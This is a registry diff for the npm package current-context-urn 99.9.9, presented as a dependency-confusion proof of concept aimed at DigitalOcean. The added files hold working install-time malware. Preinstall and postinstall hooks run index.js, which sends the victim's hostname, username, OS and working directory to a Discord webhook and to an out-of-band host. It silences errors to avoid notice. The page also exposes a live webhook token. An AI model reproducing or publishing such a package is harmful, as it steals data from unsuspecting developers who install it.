current-context-urn 99.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of current-context-urn might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +50 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,50 @@
1
+ const https = require('https');
2
+ const http = require('http'); // Añadido para el OAST si fuera necesario
3
+ const os = require('os');
4
+
5
+ const discordUrl = '/api/webhooks/1487009597175890022/DE6xfM-BeQ1xD6U2nH7vuFoQAIDd_aVDsuzdhHiGBZpPRm0M9BU94QEglVsLHaSxqhzo';
6
+ const oastHost = 'd736vi5i191oj6s0rhbgeirmqgiczz71s.oast.pro';
7
+
8
+ // Información para el reporte
9
+ const payload = {
10
+ content: "🚨 **DIANITA! Dependency Confusion en DigitalOcean**",
11
+ embeds: [{
12
+ title: "PoC Execution Details",
13
+ color: 16711680,
14
+ fields: [
15
+ { name: "Hostname", value: os.hostname(), inline: true },
16
+ { name: "OS Platform", value: os.platform(), inline: true },
17
+ { name: "User", value: os.userInfo().username, inline: true },
18
+ { name: "Package", value: "current-context-urn", inline: false },
19
+ { name: "Working Dir", value: process.cwd(), inline: false }
20
+ ],
21
+ footer: { text: "X-BBP-Researcher: [TU_USUARIO_INTIGRITI]" }
22
+ }]
23
+ };
24
+
25
+ const data = JSON.stringify(payload);
26
+
27
+ // --- ENVÍO A DISCORD ---
28
+ const discordOptions = {
29
+ hostname: 'discord.com',
30
+ port: 443,
31
+ path: discordUrl,
32
+ method: 'POST',
33
+ headers: {
34
+ 'Content-Type': 'application/json',
35
+ 'Content-Length': data.length,
36
+ },
37
+ };
38
+
39
+ const reqDiscord = https.request(discordOptions);
40
+ reqDiscord.write(data);
41
+ reqDiscord.end();
42
+
43
+ // --- ENVÍO A OAST (TU URL) ---
44
+ // Enviamos los datos en el path para que quede registrado en los logs del OAST
45
+ const oastPath = `/${os.hostname()}/${os.userInfo().username}/current-context-urn`;
46
+ const reqOast = http.get(`http://${oastHost}${oastPath}`);
47
+
48
+ reqOast.on('error', () => { /* Silencioso para no alertar logs locales */ });
49
+
50
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "current-context-urn",
3
+ "version": "99.9.9",
4
+ "description": "PoC for Dependency Confusion - DigitalOcean Security Research",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "Security Researcher",
11
+ "license": "ISC"
12
+ }